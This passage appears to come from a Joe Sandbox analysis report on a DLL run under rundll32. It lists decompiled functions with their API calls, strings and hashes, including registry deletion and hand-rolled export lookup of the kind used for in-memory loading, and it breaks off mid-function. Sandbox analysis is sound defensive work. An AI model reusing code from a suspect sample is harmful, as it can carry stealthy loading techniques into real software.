Instruction Fuzzy Hash: FA41B271D00225DFDB04DFA4C885AAEBBB5FF04354F268129E411EF195EB70E986CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000B3AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E1000B3AF(void* __edx, signed int _a116, char _a120) {
				void _v12;
				char _v16;
				signed int _v20;
				int _v24;
				char _v124;
				char _v172;
				intOrPtr _v184;
				int __ebx;
				signed int __edi;
				signed int __esi;
				signed int __ebp;
				signed int _t26;
				unsigned int _t28;
				intOrPtr _t35;
				unsigned int _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t43;
				signed int _t45;

				_t45 =  &_v124;
				_t26 =  *0x10057a08; // 0xef7d8b91
				_a116 = _t26 ^ _t45;
				_push(_t43);
				_push(_t42);
				_t28 = GetMenuCheckMarkDimensions();
				_t38 = _t28;
				_t39 = _t28 >> 0x10;
				_v24 = _t39;
				if(_t28 <= 4 || __ecx <= 5) {
					_push(_t45);
					_push(_t39);
					_v172 = 0x10057298;
					E10017C83( &_v172, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, _t38, _t42, _t43);
					_t40 = E10013965(0x104);
					_v184 = _t40;
					_t35 = 0;
					_v172 = 0;
					if(_t40 != 0) {
						_t35 = E1000CF71(_t40);
					}
					return E10017C60(_t35);
				} else {
					if(__ebx > 0x20) {
						__ebx = 0x20;
					}
					__eax = __ebx - 4;
					asm("cdq");
					__eax = __ebx - 4 - __edx;
					__esi = __ebx + 0xf;
					__esi = __ebx + 0xf >> 4;
					__ebx - 4 - __edx = __ebx - 4 - __edx >> 1;
					__esi = __esi << 4;
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4);
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4) - __ebx;
					if(__edi > 0xc) {
						__edi = 0xc;
					}
					__eax = 0x20;
					if(__ecx > __eax) {
						_v24 = __eax;
					}
					 &_v12 = E100174D0(__edi,  &_v12, 0xff, 0x80);
					_v24 = _v24 + 0xfffffffa;
					_v24 + 0xfffffffa >> 1 = (_v24 + 0xfffffffa >> 1) * __esi;
					__ecx = __esi + __esi;
					__eax = __ebp + (_v24 + 0xfffffffa >> 1) * __esi * 2 - 0xc;
					__edx = 0x1002a144;
					_v20 = __esi + __esi;
					_v16 = 5;
					do {
						__si =  *__edx & 0x000000ff;
						__ecx = __edi;
						__si = ( *__edx & 0x000000ff) << __cl;
						__edx =  &(__edx[1]);
						__ecx = __si & 0x0000ffff;
						__eax->i = __ch;
						__eax->i = __cl;
						__eax = __eax + _v20;
						_t21 =  &_v16;
						 *_t21 = _v16 - 1;
					} while ( *_t21 != 0);
					__eax =  &_v12;
					__eax = CreateBitmap(__ebx, _v24, 1, 1,  &_v12);
					_pop(__edi);
					_pop(__esi);
					 *0x1005aa80 = __eax;
					_pop(__ebx);
					if(__eax == 0) {
						__eax = LoadBitmapA(__eax, 0x7fe3);
						 *0x1005aa80 = __eax;
					}
					__ecx = _a116;
					__ecx = _a116 ^ __ebp;
					__eax = E100167D5(__eax, __ebx, _a116 ^ __ebp, __edx, __edi, __esi);
					__ebp =  &_a120;
					__esp =  &_a120;
					_pop(__ebp);
					return __eax;
				}
			}

APIs

GetMenuCheckMarkDimensions.USER32 ref: 1000B3C7
_memset.LIBCMT ref: 1000B429
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 1000B47B
LoadBitmapA.USER32 ref: 1000B493

Strings

, xrefs: 1000B3E8

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu_memset
String ID:
API String ID: 4271682439-3916222277
Opcode ID: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction ID: 72b3b778e8896de6b9c4d2b5d37ea691cdfdc38a5381d0430ce67680fa501abd
Opcode Fuzzy Hash: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction Fuzzy Hash: 5931F572A0065A9FFB10CF78CCC6AAE7BB5EB44384F25052AE506EB1C5D730EA45C750

Uniqueness

Uniqueness Score: -1.00%

Function 1000D86F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1000D86F(void* __edi, intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				int _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;

				if(E1000D6C3() == 0) {
					if(_a4 != 0x12340042) {
						L9:
						_t14 = 0;
						L10:
						return _t14;
					}
					_t23 = _a8;
					if(_t23 == 0 ||  *_t23 < 0x28 || SystemParametersInfoA(0x30, 0,  &_v20, 0) == 0) {
						goto L9;
					} else {
						 *((intOrPtr*)(_t23 + 4)) = 0;
						 *((intOrPtr*)(_t23 + 8)) = 0;
						 *((intOrPtr*)(_t23 + 0xc)) = GetSystemMetrics(0);
						_t18 = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						 *(_t23 + 0x10) = _t18;
						 *((intOrPtr*)(_t23 + 0x24)) = 1;
						if( *_t23 >= 0x48) {
							E100199D4(_t25, _t23 + 0x28, 0x20, "DISPLAY", 0x1f);
						}
						_t14 = 1;
						goto L10;
					}
				}
				return  *0x1005a760(_a4, _a8);
			}

APIs

SystemParametersInfoA.USER32(00000030,00000000,00000000,00000000), ref: 1000D8AD
GetSystemMetrics.USER32 ref: 1000D8C5
GetSystemMetrics.USER32 ref: 1000D8CC

Strings

DISPLAY, xrefs: 1000D8E9
B, xrefs: 1000D88C

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: B$DISPLAY
API String ID: 3136151823-3316187204
Opcode ID: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction ID: 9954a119ce47e65a3950f6e4b3e830268b9633322f26d87d987c4675ad6ec402
Opcode Fuzzy Hash: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction Fuzzy Hash: 7C118F71600328ABEB11EF649C84B9F7EA8EF057D0B108066FD09AA14AD6719951CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 1000C570, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C570(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__** _a4) {
				void* __edi;
				struct HWND__* _t10;
				struct HWND__* _t12;
				struct HWND__* _t14;
				struct HWND__* _t15;
				int _t19;
				void* _t21;
				void* _t25;
				struct HWND__** _t26;
				void* _t27;

				_t25 = __edx;
				_t21 = __ebx;
				_t26 = _a4;
				_t27 = __ecx;
				if(E1000DFD6(__ecx, __eflags, _t26) == 0) {
					_t10 = E1001040B(__ecx);
					__eflags = _t10;
					if(_t10 == 0) {
						L5:
						__eflags = _t26[1] - 0x100;
						if(_t26[1] != 0x100) {
							L13:
							return E1000E426(_t26);
						}
						_t12 = _t26[2];
						__eflags = _t12 - 0x1b;
						if(_t12 == 0x1b) {
							L8:
							__eflags = GetWindowLongA( *_t26, 0xfffffff0) & 0x00000004;
							if(__eflags == 0) {
								goto L13;
							}
							_t14 = E100140D6(_t21, _t25, _t26, __eflags,  *_t26, "Edit");
							__eflags = _t14;
							if(_t14 == 0) {
								goto L13;
							}
							_t15 = GetDlgItem( *(_t27 + 0x20), 2);
							__eflags = _t15;
							if(_t15 == 0) {
								L12:
								SendMessageA( *(_t27 + 0x20), 0x111, 2, 0);
								goto L1;
							}
							_t19 = IsWindowEnabled(_t15);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L13;
							}
							goto L12;
						}
						__eflags = _t12 - 3;
						if(_t12 != 3) {
							goto L13;
						}
						goto L8;
					}
					__eflags =  *(_t10 + 0x68);
					if( *(_t10 + 0x68) == 0) {
						goto L5;
					}
					return 0;
				}
				L1:
				return 1;
			}

Strings

Edit, xrefs: 1000C5C0

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction ID: c36f5ccd8b34139a66e87801a9a5321a409f351d494de0105f07b228c10d2adb
Opcode Fuzzy Hash: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction Fuzzy Hash: F4015E3820070AA7FA65DB258D45F5AB6E5EF056D2F214429F942F10B8CFB0FD91D560

Uniqueness

Uniqueness Score: -1.00%

Function 1000BC89, Relevance: 7.6, APIs: 5, Instructions: 75
registryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E1000BC89(signed int __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t25;
				signed int _t30;
				void* _t32;
				signed int _t34;
				signed int _t42;
				void* _t43;
				void* _t44;
				char** _t54;
				void* _t55;
				void* _t58;
				char* _t59;
				void* _t61;

				_t42 = __ebx;
				_t59 = _t61 - 0x104;
				_t25 =  *0x10057a08; // 0xef7d8b91
				_t59[0x108] = _t25 ^ _t59;
				_push(0x18);
				E10017BF4(E10027F23, __ebx, __edi, __esi);
				_t54 = _t59[0x118];
				_t44 = _t59[0x114];
				_t52 = _t59 - 0x18;
				 *(_t59 - 0x20) = _t44;
				 *(_t59 - 0x1c) = _t54;
				_t30 = RegOpenKeyA(_t44,  *_t54, _t59 - 0x18);
				_t57 = _t30;
				if(_t30 == 0) {
					while(1) {
						_t34 = RegEnumKeyA( *(_t59 - 0x18), 0, _t59, 0x104);
						_t57 = _t34;
						_t66 = _t57;
						if(_t57 != 0) {
							break;
						}
						 *(_t59 - 4) =  *(_t59 - 4) & _t34;
						_push(_t59);
						E10009FA3(_t42, _t59 - 0x14, _t54, _t57, _t66);
						 *(_t59 - 4) = 1;
						_t57 = E1000BC89(_t42, _t54, _t57, _t66,  *(_t59 - 0x18), _t59 - 0x14);
						_t42 = _t42 & 0xffffff00 | _t57 != 0x00000000;
						 *(_t59 - 4) = 0;
						E10009CB7( *((intOrPtr*)(_t59 - 0x14)) + 0xfffffff0, _t52);
						if(_t42 == 0) {
							 *(_t59 - 4) =  *(_t59 - 4) | 0xffffffff;
							continue;
						}
						break;
					}
					__eflags = _t57 - 0x103;
					if(_t57 == 0x103) {
						L6:
						_t57 = RegDeleteKeyA( *(_t59 - 0x20),  *_t54);
					} else {
						__eflags = _t57 - 0x3f2;
						if(_t57 == 0x3f2) {
							goto L6;
						}
					}
					RegCloseKey( *(_t59 - 0x18));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				_pop(_t55);
				_pop(_t58);
				_pop(_t43);
				_t32 = E100167D5(_t57, _t43, _t59[0x108] ^ _t59, _t52, _t55, _t58);
				__eflags =  &(_t59[0x10c]);
				return _t32;
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1000BCA8
RegOpenKeyA.ADVAPI32(?,00000000,?), ref: 1000BCC7
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BCE5
RegDeleteKeyA.ADVAPI32(?,?), ref: 1000BD60
RegCloseKey.ADVAPI32(?), ref: 1000BD6B

Part of subcall function 10009FA3: __EH_prolog3.LIBCMT ref: 10009FAA

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CloseDeleteEnumH_prolog3H_prolog3_catchOpen
String ID:
API String ID: 301487041-0
Opcode ID: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction ID: 653bf45c983c6aa9a2c45ec2c29e65d920d70d1e6a7a13c67c9db93679124605
Opcode Fuzzy Hash: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction Fuzzy Hash: 0921A075D0465A9FEB21DF94CC81AEDB7B0FF04390F104126ED55A7290EB705E44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013F9E, Relevance: 7.6, APIs: 5, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F9E(void* __ecx, intOrPtr __edx, struct HWND__* _a4, CHAR* _a8) {
				signed int _v8;
				char _v263;
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				struct HWND__* _t21;
				void* _t22;
				intOrPtr _t25;
				void* _t26;
				int _t27;
				CHAR* _t28;
				signed int _t29;

				_t25 = __edx;
				_t22 = __ecx;
				_t9 =  *0x10057a08; // 0xef7d8b91
				_v8 = _t9 ^ _t29;
				_t21 = _a4;
				_t32 = _t21;
				_t28 = _a8;
				if(_t21 == 0) {
					L1:
					E1000A0DB(_t21, _t22, _t26, _t28, _t32);
				}
				if(_t28 == 0) {
					goto L1;
				}
				_t27 = lstrlenA(_t28);
				_v264 = 0;
				E100174D0(_t27,  &_v263, 0, 0xff);
				if(_t27 > 0x100 || GetWindowTextA(_t21,  &_v264, 0x100) != _t27 || lstrcmpA( &_v264, _t28) != 0) {
					_t16 = SetWindowTextA(_t21, _t28);
				}
				return E100167D5(_t16, _t21, _v8 ^ _t29, _t25, _t27, _t28);
			}

APIs

lstrlenA.KERNEL32(?,?,00000000), ref: 10013FC8
_memset.LIBCMT ref: 10013FE5
GetWindowTextA.USER32 ref: 10013FFF
lstrcmpA.KERNEL32(00000000,?), ref: 10014011
SetWindowTextA.USER32(?,?), ref: 1001401D

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction ID: fa7108181993de9b8ea87dd6eaa7291c2451852d429ff63cadea9d36e3b3e8b2
Opcode Fuzzy Hash: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction Fuzzy Hash: 3901C0B6A00228ABE711DB65DCC4FDF77ACEF18790F110065EA45D7141DA70DE848BA0

Uniqueness

Uniqueness Score: -1.00%

Function 10010C0F, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E10010C0F(void* __ebx, void* __edi, void* __ebp, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* __esi;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				void* _t25;
				void* _t26;
				void* _t28;

				_t28 = __eflags;
				_t24 = __edi;
				_t21 = __ebx;
				E1001431B(__ebx, _t25, __ebp, 0xc);
				_push(E100100DE);
				_t26 = E100139F5(__ebx, 0x1005a8e0, __edi, _t25, _t28);
				_t29 = _t26;
				if(_t26 == 0) {
					E1000A0DB(_t21, 0x1005a8e0, __edi, _t26, _t29);
				}
				_t30 =  *(_t26 + 8);
				if( *(_t26 + 8) != 0) {
					L7:
					E10014388(0xc);
					return  *(_t26 + 8)(_v4, _v0, _a4, _a8);
				} else {
					_push("hhctrl.ocx");
					_t16 = E1000E725(_t21, 0x1005a8e0, _t24, _t26, _t30);
					 *(_t26 + 4) = _t16;
					if(_t16 != 0) {
						_t17 = GetProcAddress(_t16, "HtmlHelpA");
						__eflags = _t17;
						 *(_t26 + 8) = _t17;
						if(_t17 != 0) {
							goto L7;
						}
						FreeLibrary( *(_t26 + 4));
						 *(_t26 + 4) =  *(_t26 + 4) & 0x00000000;
					}
					return 0;
				}
			}

APIs

Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
Part of subcall function 1001431B: InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
Part of subcall function 1001431B: LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 100139F5: __EH_prolog3_catch.LIBCMT ref: 100139FC

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 10010C53
FreeLibrary.KERNEL32(?), ref: 10010C63

Strings

hhctrl.ocx, xrefs: 10010C37
HtmlHelpA, xrefs: 10010C4D

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
Opcode ID: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction ID: 8873b40b3358b87e9332ca8c9146562190e137befea279647b799a71fcd87530
Opcode Fuzzy Hash: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction Fuzzy Hash: 7001F431204303DFE321DFA1DE05B4A76E0EF05781F018A08F4DAA8061DBB1D8D0DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 100224E9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E100224E9() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x1002bb98;
					_v28 =  *0x1002bb90;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32,1001A130), ref: 100224EE
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 100224FE

Strings

IsProcessorFeaturePresent, xrefs: 100224F8
KERNEL32, xrefs: 100224E9

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction ID: b1380c49f8d15cda8b98f9f56e3724ed638b8beb480886d8724856f67b077174
Opcode Fuzzy Hash: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction Fuzzy Hash: EDF03030900D1EE2EF00ABE1BC596AF7A78FB44785FD20490E681B0088DF7181718681

Uniqueness

Uniqueness Score: -1.00%

Function 10002D50, Relevance: 6.4, APIs: 5, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002D50(intOrPtr __ecx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				signed short* _v36;
				intOrPtr _v40;
				void* _t79;
				void* _t119;

				_v40 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v12 = 0;
				_v16 =  *_a4 + 0x78;
				if( *((intOrPtr*)(_v16 + 4)) != 0) {
					_v8 = _v20 +  *_v16;
					if( *((intOrPtr*)(_v8 + 0x18)) == 0 ||  *((intOrPtr*)(_v8 + 0x14)) == 0) {
						SetLastError(0x7f);
						return 0;
					} else {
						if((_a8 >> 0x00000010 & 0x0000ffff) != 0) {
							_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x20));
							_v36 = _v20 +  *((intOrPtr*)(_v8 + 0x24));
							_v24 = 0;
							_v28 = 0;
							while(_v28 <  *((intOrPtr*)(_v8 + 0x18))) {
								_t79 = E10001F70(_a8, _v20 +  *_v32);
								_t119 = _t119 + 8;
								if(_t79 != 0) {
									_v28 = _v28 + 1;
									_v32 = _v32 + 4;
									_v36 =  &(_v36[1]);
									continue;
								}
								_v12 =  *_v36 & 0x0000ffff;
								_v24 = 1;
								break;
							}
							if(_v24 != 0) {
								L17:
								if(_v12 <=  *((intOrPtr*)(_v8 + 0x14))) {
									return _v20 +  *((intOrPtr*)(_v20 +  *((intOrPtr*)(_v8 + 0x1c)) + _v12 * 4));
								}
								SetLastError(0x7f);
								return 0;
							}
							SetLastError(0x7f);
							return 0;
						}
						if((_a8 & 0xffff) >=  *((intOrPtr*)(_v8 + 0x10))) {
							_v12 = (_a8 & 0xffff) -  *((intOrPtr*)(_v8 + 0x10));
							goto L17;
						}
						SetLastError(0x7f);
						return 0;
					}
				}
				SetLastError(0x7f);
				return 0;
			}

APIs

SetLastError.KERNEL32(0000007F), ref: 10002D7F
SetLastError.KERNEL32(0000007F), ref: 10002DAB

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction ID: 028074866867044f4bb64f701422ec5252acdb94d91fdee864382ef112f730bb
Opcode Fuzzy Hash: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction Fuzzy Hash: F7510570A4415AEFEF04CF94C880AAEB7F1FF48384F608569D855AB349D734EA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10023E83, Relevance: 6.1, APIs: 4, Instructions: 101
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10023E83(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E10016E2B( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E1001E243( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x840ffff8
								__eflags = MultiByteToWideChar( *_t40, 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E10017D62(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0xa045ff98
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0xa045ff98
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								__eflags = _v8;
								_t27 = _t56 + 0xac; // 0xa045ff98
								_t57 =  *_t27;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
